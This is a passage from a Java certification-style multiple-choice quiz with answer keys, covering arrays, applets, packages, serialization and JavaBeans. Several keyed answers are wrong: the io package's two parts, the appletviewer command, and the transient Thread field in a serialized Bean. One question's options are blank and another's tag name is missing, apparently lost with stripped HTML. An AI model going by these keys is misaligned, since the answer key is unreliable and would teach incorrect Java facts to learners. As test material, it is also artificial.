Correct Answer :-> 1

You want to write a Java program to display the grades based on the percentage obtained by each student in a particular test.

Which one of the following options should you use?

Options

1. The for statement.

2. The while statement.

3. The do-while statement.

4. The if-else statement.

Correct Answer :-> 4

You have declared the following array in your Java program: int[ ] myArray. Which one of the following statements should you

use to allocate memory for the array?

Options

1. myArray = int[10];

2. myArray = int[10];

3. myArray = new int[10];

4. myArray = new int;

Correct Answer :-> 3

You have declared an array in your Java program. You want to write a line of code in your program to display the number of

elements in the array. Which one of the following options should you use?

Options

1. The length method.

2. The length property.

3. The arrayLength method.

4. The arrayLength property.

Correct Answer :-> 2

Anne wants to create a public class named MyClass in her Java program. Which one of the following syntax should she use ?

Options

1. public class MyClass [//code];

2. public class MyClass [//code]

3. public class MyClass {//code};

4. public class MyClass { //code}

Correct Answer :-> 4

You have used the following declaration in your Java program: class MyClass { float aFloat; }. Which type of variable have you

declared?

Options

1. A final variable.

2. A static variable.

3. An instance variable.

4. A class variable.

Correct Answer :-> 3

You want to create a applet in your Java program. You write the following code: import java.applet.Applet; public class

MyApplet extends Applet { public static void main ( String args[]) {System.out.println(" My first Applet" } }. Identify the error in

the following code.

Options

1. The class MyApplet inherits from the applet class.

2. The class MyApplet contains a main method.

3. The class MyApplet is a public class.

4. The class MyApplet contains an import statement.

Correct Answer :-> 2

You have implemented the paint method in your Java applet to draw the applet's representation within a browser page. Which

method should you use along with paint to improve the drawing performance?

Options

1. The improveImage method.

2. The updateImage method.

3. The improve method.

4. The update method.

Correct Answer :-> 4

Jim wants to include his applet in an HTML page. The applet and the HTML page have been saved in different directories.

Which one of the following options should he use?

Options

1.

2.

3.

4.

Correct Answer :-> 1

You are running your applet using the appletviewer. Which one of the following options in an appletviewer checks for applet

security violations?

Options

1. The Security object.

2. The SecurityManager object.

3. The Applet object.

4. The AppletSecurity object.

Correct Answer :-> 2

Identify the correct syntax for running an applet named Applet1using the appletviewer.

Options

1. appletviewer Applet1.java

2. appletviewer Applet1.class

3. Appletviewer Applet1.htm

4. Appletviewer Applet1.html

Correct Answer :-> 1

Which attribute of the

tag can be used to load a serialized (saved) applet instead of specifying a class file with CODE?

Options

1. LOAD

2. ALT

3. OBJECT

4. ALIGN

Correct Answer :-> 3

The appletResize method is invoked whenever an Applet is to be resized. Identify the interface containing this method.

Options

1. The Applet interface.

2. The AppletStub interface.

3. The AppletContext interface.

4. The AudioClip interface.

Correct Answer :-> 2

You have written the code for creating several different applets. You want one applet to invoke methods on other applets.

Which one of the following options should be used by the applet to find all the other applets on the page?

Options

1. The getApplets method.

2. The getApplet method.

3. The findApplets method.

4. The findApplet method.

Correct Answer :-> 1

Sara has written the following code: class First { int i ; int j ; intk; }. She wants to create an object of the class and assign values

to the data members. Which one of the following options should she use to create the object?

Options

1. First f = First();

2. First f = First;

3. First f = new First;

4. First f = new First();

Correct Answer :-> 4

You create an array of objects in your Java program which actually creates an array of handles. Each of these handles is

automatically initialized to a special value with its own keyword. Identify the keyword.

Options

1. init

2. val

3. null

4. main

Correct Answer :-> 3

Which one of the following options is a collection of related classes and interfaces providing access protection and namespace

management in Java?

Options

1. Class

2. Package

3. Interface

4. Collection

Correct Answer :-> 2

Mary is writing a Java program to create an interactive user application. She wants to use the members of the AWT package in

her program. Identify the correct syntax.

Options

1. import java.awt.*;

2. include java.awt.*;

3. import awt.*;

4. include awt.*;

Correct Answer :-> 1

You are working with input-ouput operations in your Java program. You import the java.io package in your program. What are

the two major parts of the io package?

Options

1. boolean streams and character streams

2. integer streams and character streams

3. byte streams and integer streams

4. byte streams and character streams

Correct Answer :-> 3

Identify the package in the Java API which provides classes that are fundamental to the Java programming language.

Options

1. The io package.

2. The awt package.

3. The sys package.

4. The lang package.

Correct Answer :-> 4

Which class in the java.net package lets you listen on a port for incoming requests as well as creates a socket for each

request?

Options

1. The Socket class.

2. The ClientSocket class.

3. The ServerSocket class.

4. The NetworkSocket class.

Correct Answer :-> 3

Mary has written a Java program using the Serializable interface. However, there are ceratin fields which need not be

serialized. Which keyword should she use to achieve the desired output?

Options

1. transient

2. private

3. friend

4. public

Correct Answer :-> 1

Jack wants to create Java programs that can run in the browser. Which one of the following packages should he use?

Options

1. The net package.

2. The applet package.

3. The awt package.

4. The utility package.

Correct Answer :-> 2

You have used a certain interface in your Java program. This interface imposes a total ordering on the objects of each class

that implements it. This ordering is referred to as the class's natural ordering. Identify the interface.

Options

1. The Cloneable interface.

2. The Runnable interface.

3. The Throwable interface.

4. The Comparable interface.

Correct Answer :-> 4

Sam is creating a cut and paste application in Java. He is using the system clipboard to obtain the desired output. Which

package contains the Clipboard class?

Options

1. The java.awt.clipboard package.

2. The java.awt.datatransfer package.

3. The java.lang.clipboard package.

4. The java.lang.datatransfer package.

Correct Answer :-> 2

Martha wants to construct a new ArrayIndexOutOfBoundsException class with an argument indicating the illegal index. Which

one of the following options should she use?

Options

1. ArrayIndexOutOfBoundsException(int index)

2. ArrayIndexOutOfBoundsException(String index)

3. ArrayIndexOutOfBoundsException(boolean index)

4. ArrayIndexOutOfBoundsException( )

Correct Answer :-> 1

Identify the superclass of all errors and exceptions in the Java language.

Options

1. Exception

2. Error

3. Throwable

4. Runnable

Correct Answer :-> 3

The Dictionary class is the abstract parent of any class, such as Hashtable, which maps keys to values is an obsolete class.

Which interface takes the place of the Dictionary class in the new implementations of the Java language?

Options

1. The TreeMap interface.

2. The Map interface.

3. The ListIterator interface.

4. The List interface.

Correct Answer :-> 2

Which interface corresponds to the applet's environment (the document containing the applet)?

Options

1. The AppletContext interface.

2. The AppletStub interface.

3. The AppletText interface.

4. The AppletAudio interface.

Correct Answer :-> 1

You are writing a Java program using the java.net package. Identify the common superclass of all classes that actually

implement sockets.

Options

1. The Socket class.

2. The ServerSocket class.

3. The SocketImpl class.

4. The SocketPermission class.

Correct Answer :-> 3

The behavior of a set is not specified if the value of an object is changed in a manner that affects equals comparisons while the

object is an element in the set. Identify the special case of this probihition.

Options

1. It is not permissible for a set to contain itself as an element.

2. It is permissible for a set to contain itself as an element.

3. It is permissible for a set to contain duplicate elements.

4. There is no special case of this prohibition.

Correct Answer :-> 1

You want to create your own package in your Java program. Which one of the following statements is a valid statement in this

context?

Options

1. Multiple package declarations can appear in a source file.

2. Only one package declaration can appear in a source file.

3. A package declaration should appear at the end of the source file.

4. A package declaration should appear after the class declaration in the source file.

Correct Answer :-> 2

In Java, only public package members are accessible outside the package in which they are defined. There are different ways

to access a public package member from outside its package. Identify the incorrect option.

Options

1. Refer to the member by its simple name

2. Refer to the member by its long (qualified) name

3. Import the package member

4. Import the members entire package

Correct Answer :-> 1

The Character.Subset class instances in the Java language represent particular subsets of the Unicode character set. Which is

the only family of subsets defined in the Character class?

Options

1. Unicode

2. UnicodeBlock

3. UnicodeChar

4. UnicodeSet

Correct Answer :-> 2

Harry is writing a Java program using the io package. He wants to break the InputStream into a sequence of text bits delimited

by whitespaces. Which class should he use?

Options

1. The String class.

2. The StringTokenizer class.

3. The Stream class.

4. The StreamTokenizer class.

Correct Answer :-> 4

Your java program contains a class named MyClass. You want to include it in a package named mypackage.myclass. Identify

the correct location of the MyClass.java file for proper code execution.

Options

1. mypackage/MyClass.java

2. myclass/MyClass.java

3. mypackage/myclass/MyClass.java

4. myclass/mypackage/MyClass.java

Correct Answer :-> 3

Mike has written the following lines of code in his program: addMouseListener (new MouseAdapter() { public void

mouseClicked (MouseEvent me) { //code } } );. Identify the correct option

Options

1. The code between the braces defines an inner class named MouseAdapter.

2. The code between the braces defines an anonymous inner class that implements MouseAdapter.

3. The code between the braces defines an inner class that overrides MouseAdapter.

4. The code between the braces defines an anonymous inner class that extends MouseAdapter.

Correct Answer :-> 4

Identify the process that enables you to save the state of several objects to a stream.

Options

1. serialization

2. customization

3. reflection

4. introspection

Correct Answer :-> 1

You want to design a serialized JavaBean that displays the current time in hours, minutes and seconds on the interface. If you

use the Thread class to internally update the display every second, which one of the following options should be implemented?

Options

1. The Thread instance variable should be marked as final.

2. The Thread instance variable should be marked as static.

3. The Thread instance variable should be marked as transient.

4. The Thread instance variable should be marked as private.

Correct Answer :-> 2

You are working with the Serializable interface for creating your Java Bean. Which method should you use to write the nonstatic

and non-transient fields of the current class to this stream?

Options

1. public void defaultWriteObject( ) throws IOException

2. public final defaultWriteObject( ) throws IOException

3. public void WriteObject( ) throws IOException

4. public final WriteObject( ) throws IOException

Correct Answer :-> 1

What does the abbreviation SUID stand for with reference to JavaBean serialization?

Options

1. Stream Unique Identification

2. Stream Unique Identify

3. Stream Unique Identity

4. Stream Unique Identifier

Correct Answer :-> 4

Identify the command-line tool provided by JDK to calculate the SUID for the JavaBean class.

Options

1. serialversion

2. serialver

3. serialidentity

4. serialid

Correct Answer :-> 2

Which interface should you implement to create your own serialization methods?

Options

1. Externalizable

2. Serializable

3. ObjectInput

4. ObjectOutput

Correct Answer :-> 1

Identify the correct syntax for the writeExternal method in the Externalizable interface.

Options

1. public void writeExternal(ObjectInput in) throws IOException

2. public int writeExternal(ObjectInput in) throws IOException

3. public void writeExternal(ObjectOutput out) throws IOException

4. public int writeExternal(ObjectOutput out) throws IOException

Correct Answer :-> 3

You are creating a serialized JavaBean. Which method should you provide to customize the serialization behavior for a class?

Options

1. private void readObject (ObjectOutputStream os) throws IOException

2. private void writeObject (ObjectOutputStream os) throws IOException

3. public void readObject (ObjectOutputStream os) throws IOException

4. public void writeObject (ObjectOutputStream os) throws IOException

Correct Answer :-> 2

Identify the ability of a JavaBean to obtain information about the fields, constructors and methods of any class.

Options

1. Reflection

2. Introspection

3. Serialization

4. Customization

Correct Answer :-> 1

The Java Virtual Machine creates an instance of a particular class for each type, including classes, interfaces, arrays and

simple types. Identify the class.

Options

1. Character

2. Object

3. String

4. Class

Correct Answer :-> 4

Which class in the java.beans package provides methods that allow you to obtain information about the properties, methods

and events of a Bean?

Options

1. SimpleBeanInfo

2. BeanInfo

3. Introspector

4. Reflector

Correct Answer :-> 3